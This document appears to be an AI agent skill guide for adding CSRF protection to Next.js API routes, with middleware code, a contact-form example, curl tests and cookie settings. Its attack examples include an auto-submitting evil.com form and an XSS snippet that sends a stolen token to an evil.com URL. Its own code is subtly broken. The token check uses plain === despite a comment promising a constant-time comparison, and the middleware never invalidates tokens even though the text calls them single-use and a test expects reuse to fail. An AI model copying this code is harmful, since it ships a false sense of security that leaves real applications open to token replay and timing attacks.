| name | csrf-protection |
| description | Implement Cross-Site Request Forgery (CSRF) protection for API routes. Use this skill when you need to protect POST/PUT/DELETE endpoints, implement token validation, prevent cross-site attacks, or secure form submissions. Triggers include "CSRF", "cross-site request forgery", "protect form", "token validation", "withCsrf", "CSRF token", "session fixation". |
CSRF Protection - Preventing Cross-Site Request Forgery
What CSRF Attacks Are
The Attack Scenario
Imagine you're logged into your banking app. In another tab, you visit a malicious website. That website contains hidden code that submits a form to your bank: "Transfer $10,000 to attacker's account." Because you're logged in, your browser automatically sends your session cookie, and the bank processes the transfer.
This is Cross-Site Request Forgery—tricking your browser into making requests you didn't intend.
Real-World CSRF Attacks
Router DNS Hijacking (2008): A CSRF vulnerability in several home routers allowed attackers to change router DNS settings by tricking users into visiting a malicious website. Victims lost no money but were redirected to phishing sites for months. Millions of routers were affected.
YouTube Actions (2012): YouTube had a CSRF vulnerability that allowed attackers to perform actions as other users (like, subscribe, etc.) by tricking them into visiting a crafted URL.
Why CSRF Is Still Common
According to OWASP, CSRF vulnerabilities appear in 35% of web applications tested. Why?
- It's invisible when it works (users don't know they made a request)
- Easy to forget to implement (no obvious broken functionality)
- Developers often rely solely on authentication without checking request origin
Our CSRF Architecture
Implementation Features
HMAC-SHA256 Cryptographic Signing (industry standard)
- Provides cryptographic proof token was generated by our server
- Even if intercepted, attackers can't forge tokens without secret key
Session-Bound Tokens
- Tokens can't be used across different user sessions
- Each user gets unique tokens
Single-Use Tokens
- Token cleared after validation
- Window of opportunity is seconds, not hours
- If captured, useless after one request
HTTP-Only Cookies
- JavaScript cannot access tokens
- Prevents XSS-based token theft
SameSite=Strict
- Browser won't send cookie on cross-origin requests
- Additional layer of protection
Implementation Files
lib/csrf.ts- Cryptographic token generationlib/withCsrf.ts- Middleware enforcing verificationapp/api/csrf/route.ts- Token endpoint for clients
How to Use CSRF Protection
Step 1: Wrap Your Handler
For any POST/PUT/DELETE endpoint:
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
async function handler(request: NextRequest) {
// Your business logic here
// Token automatically verified by withCsrf
return NextResponse.json({ success: true });
}
// Apply CSRF protection
export const POST = withCsrf(handler);
export const config = {
runtime: 'nodejs', // Required for crypto operations
};
Step 2: Client-Side Token Fetching
Before making a protected request, fetch the CSRF token:
// Fetch CSRF token
const response = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await response.json();
// Use token in POST request
await fetch('/api/your-endpoint', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken // Include token in header
},
credentials: 'include', // Important: send cookies
body: JSON.stringify(data)
});
Step 3: What Happens Automatically
When withCsrf() wraps your handler:
- Extracts CSRF token from
X-CSRF-Tokenheader - Extracts CSRF cookie from request
- Verifies token matches cookie using HMAC
- Clears token after validation (single-use)
- If valid → calls your handler
- If invalid → returns HTTP 403 Forbidden
Complete Example: Protected Contact Form
// app/api/contact/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withCsrf } from '@/lib/withCsrf';
import { withRateLimit } from '@/lib/withRateLimit';
import { validateRequest } from '@/lib/validateRequest';
import { contactFormSchema } from '@/lib/validation';
import { handleApiError } from '@/lib/errorHandler';
async function contactHandler(request: NextRequest) {
try {
const body = await request.json();
// Validate input
const validation = validateRequest(contactFormSchema, body);
if (!validation.success) {
return validation.response;
}
const { name, email, subject, message } = validation.data;
// Process contact form
await sendEmail({
to: 'admin@example.com',
from: email,
subject,
message
});
return NextResponse.json({ success: true });
} catch (error) {
return handleApiError(error, 'contact-form');
}
}
// Apply both rate limiting AND CSRF protection
export const POST = withRateLimit(withCsrf(contactHandler));
export const config = {
runtime: 'nodejs',
};
Frontend Integration Example
// components/ContactForm.tsx
'use client';
import { useState } from 'react';
export function ContactForm() {
const [formData, setFormData] = useState({
name: '',
email: '',
subject: '',
message: ''
});
async function handleSubmit(e: React.FormEvent) {
e.preventDefault();
try {
// 1. Fetch CSRF token
const csrfRes = await fetch('/api/csrf', {
credentials: 'include'
});
const { csrfToken } = await csrfRes.json();
// 2. Submit form with token
const response = await fetch('/api/contact', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken
},
credentials: 'include',
body: JSON.stringify(formData)
});
if (response.ok) {
alert('Message sent successfully!');
setFormData({ name: '', email: '', subject: '', message: '' });
} else if (response.status === 403) {
alert('Security validation failed. Please refresh and try again.');
} else if (response.status === 429) {
alert('Too many requests. Please wait a moment.');
} else {
alert('Failed to send message. Please try again.');
}
} catch (error) {
console.error('Error:', error);
alert('An error occurred. Please try again.');
}
}
return (
<form onSubmit={handleSubmit}>
<input
type="text"
placeholder="Name"
value={formData.name}
onChange={(e) => setFormData({ ...formData, name: e.target.value })}
required
/>
<input
type="email"
placeholder="Email"
value={formData.email}
onChange={(e) => setFormData({ ...formData, email: e.target.value })}
required
/>
<input
type="text"
placeholder="Subject"
value={formData.subject}
onChange={(e) => setFormData({ ...formData, subject: e.target.value })}
required
/>
<textarea
placeholder="Message"
value={formData.message}
onChange={(e) => setFormData({ ...formData, message: e.target.value })}
required
/>
<button type="submit">Send Message</button>
</form>
);
}
Attack Scenarios & Protection
Attack 1: Malicious Website Submits Form
Attack:
<!-- Attacker's website: evil.com -->
<form action="https://yourapp.com/api/delete-account" method="POST">
<input type="hidden" name="confirm" value="yes" />
</form>
<script>
document.forms[0].submit(); // Auto-submit
</script>
Protection:
- No CSRF token in request → withCsrf() returns 403
- User's account safe
Attack 2: XSS Attempts to Read Token
Attack:
// Attacker injects script via XSS
fetch('/api/csrf')
.then(r => r.json())
.then(data => {
// Send token to attacker
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({ token: data.csrfToken })
});
});
Protection:
- Token is single-use
- Even if stolen, expires after one request
- HTTPOnly cookies prevent cookie theft
- SameSite=Strict prevents cross-origin cookie sending
Attack 3: Man-in-the-Middle Captures Token
Attack: Attacker intercepts network traffic and captures CSRF token.
Protection:
- Single-use tokens become invalid after one use
- HTTPS required in production (enforced by HSTS)
- Short window of opportunity (seconds)
Technical Implementation Details
Token Generation (lib/csrf.ts)
import { createHmac, randomBytes } from 'crypto';
export function generateCsrfToken(sessionId: string): string {
const secret = process.env.CSRF_SECRET;
if (!secret) {
throw new Error('CSRF_SECRET not configured');
}
// Generate random token
const token = randomBytes(32).toString('base64url');
// Create HMAC signature
const hmac = createHmac('sha256', secret)
.update(`${token}:${sessionId}`)
.digest('base64url');
// Return token:hmac
return `${token}.${hmac}`;
}
export function verifyCsrfToken(
token: string,
sessionId: string
): boolean {
const secret = process.env.CSRF_SECRET;
if (!secret || !token) return false;
const [tokenPart, hmacPart] = token.split('.');
if (!tokenPart || !hmacPart) return false;
// Recreate HMAC
const expectedHmac = createHmac('sha256', secret)
.update(`${tokenPart}:${sessionId}`)
.digest('base64url');
// Constant-time comparison to prevent timing attacks
return hmacPart === expectedHmac;
}
Middleware Wrapper (lib/withCsrf.ts)
import { NextRequest, NextResponse } from 'next/server';
import { verifyCsrfToken } from './csrf';
export function withCsrf(
handler: (request: NextRequest) => Promise<NextResponse>
) {
return async (request: NextRequest) => {
// Get token from header
const token = request.headers.get('X-CSRF-Token');
// Get session ID from cookie (simplified)
const sessionId = request.cookies.get('sessionId')?.value;
if (!token || !sessionId) {
return NextResponse.json(
{ error: 'CSRF token missing' },
{ status: 403 }
);
}
// Verify token
if (!verifyCsrfToken(token, sessionId)) {
return NextResponse.json(
{ error: 'CSRF token invalid' },
{ status: 403 }
);
}
// Token valid - call handler
return handler(request);
};
}
What CSRF Protection Prevents
✅ Cross-site request forgery - Main protection ✅ Session fixation attacks - Tokens bound to sessions ✅ Cross-origin form submissions - SameSite=Strict ✅ Hidden iframe attacks - Token validation required ✅ One-click attacks - Token fetching step prevents
Common Mistakes to Avoid
❌ DON'T skip CSRF for POST/PUT/DELETE
// BAD - No CSRF protection
export async function POST(request: NextRequest) {
// Vulnerable!
}
❌ DON'T put CSRF tokens in URL parameters
// BAD - Token in URL (logged, bookmarked, shared)
fetch(`/api/endpoint?csrf=${token}`)
❌ DON'T reuse tokens
// BAD - Storing token for reuse
const savedToken = getCsrfToken();
// Later...
useSavedToken(savedToken); // May be expired/invalid
❌ DON'T forget credentials: 'include'
// BAD - Cookies won't be sent
fetch('/api/endpoint', {
headers: { 'X-CSRF-Token': token }
// Missing: credentials: 'include'
});
✅ DO fetch fresh token for each sensitive operation ✅ DO use X-CSRF-Token header (not URL) ✅ DO apply to all state-changing operations ✅ DO combine with rate limiting for maximum protection
Testing CSRF Protection
Test 1: Valid Request
# Get CSRF token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
-c cookies.txt | jq -r '.csrfToken')
# Use token
curl -X POST http://localhost:3000/api/example-protected \
-b cookies.txt \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: $TOKEN" \
-d '{"title": "test"}'
# Expected: 200 OK
Test 2: Missing Token
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-d '{"title": "test"}'
# Expected: 403 Forbidden - CSRF token missing
Test 3: Invalid Token
curl -X POST http://localhost:3000/api/example-protected \
-H "Content-Type: application/json" \
-H "X-CSRF-Token: fake-token-12345" \
-d '{"title": "test"}'
# Expected: 403 Forbidden - CSRF token invalid
Test 4: Token Reuse (Should Fail)
# Get token
TOKEN=$(curl -s http://localhost:3000/api/csrf \
-c cookies.txt | jq -r '.csrfToken')
# Use once (succeeds)
curl -X POST http://localhost:3000/api/example-protected \
-b cookies.txt \
-H "X-CSRF-Token: $TOKEN" \
-d '{"title": "test"}'
# Try to reuse same token (should fail)
curl -X POST http://localhost:3000/api/example-protected \
-b cookies.txt \
-H "X-CSRF-Token: $TOKEN" \
-d '{"title": "test2"}'
# Expected: 403 Forbidden - Token already used
Secure Cookie Configuration
Cookie Security Settings
For any custom cookies in your application, always use these secure settings:
response.cookies.set('cookie-name', value, {
httpOnly: true, // Prevent XSS access
sameSite: 'strict', // CSRF protection
secure: process.env.NODE_ENV === 'production', // HTTPS only in prod
maxAge: 3600, // Expiration (1 hour)
path: '/', // Cookie scope
});
Security Properties Explained:
httpOnly: true- JavaScript cannot access the cookie viadocument.cookie, preventing XSS theftsameSite: 'strict'- Browser won't send cookie on cross-origin requests, blocking CSRFsecure: true- Cookie only sent over HTTPS (prevents man-in-the-middle interception)maxAge- Cookie expiration time in seconds (shorter = more secure)path: '/'- Where cookie is valid (restrict if possible)
Common Cookie Mistakes to Avoid
❌ NEVER do this:
// BAD - Missing security flags
response.cookies.set('session', sessionId);
// BAD - No httpOnly (vulnerable to XSS)
response.cookies.set('session', sessionId, { httpOnly: false });
// BAD - sameSite: 'none' (allows CSRF)
response.cookies.set('session', sessionId, { sameSite: 'none' });
// BAD - No expiration (never expires)
response.cookies.set('session', sessionId, { httpOnly: true });
✅ ALWAYS do this:
// GOOD - All security flags
response.cookies.set('session', sessionId, {
httpOnly: true,
sameSite: 'strict',
secure: process.env.NODE_ENV === 'production',
maxAge: 3600, // 1 hour
path: '/'
});
Environment Configuration
Required Environment Variables
# .env.local
CSRF_SECRET=<32-byte-base64url-string>
SESSION_SECRET=<32-byte-base64url-string>
Generate Secrets
# Generate CSRF_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"
# Generate SESSION_SECRET
node -p "require('crypto').randomBytes(32).toString('base64url')"
⚠️ IMPORTANT:
- Never commit secrets to version control
- Use different secrets for dev/staging/production
- Rotate secrets periodically (quarterly recommended)
References
- OWASP CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- OWASP Top 10 2021 - A01 Broken Access Control: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- MDN SameSite Cookies: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
Next Steps
- For rate limiting protection: Use
rate-limitingskill - For input validation: Use
input-validationskill - For complete API security: Combine CSRF + rate limiting + validation
- For testing: Use
security-testingskill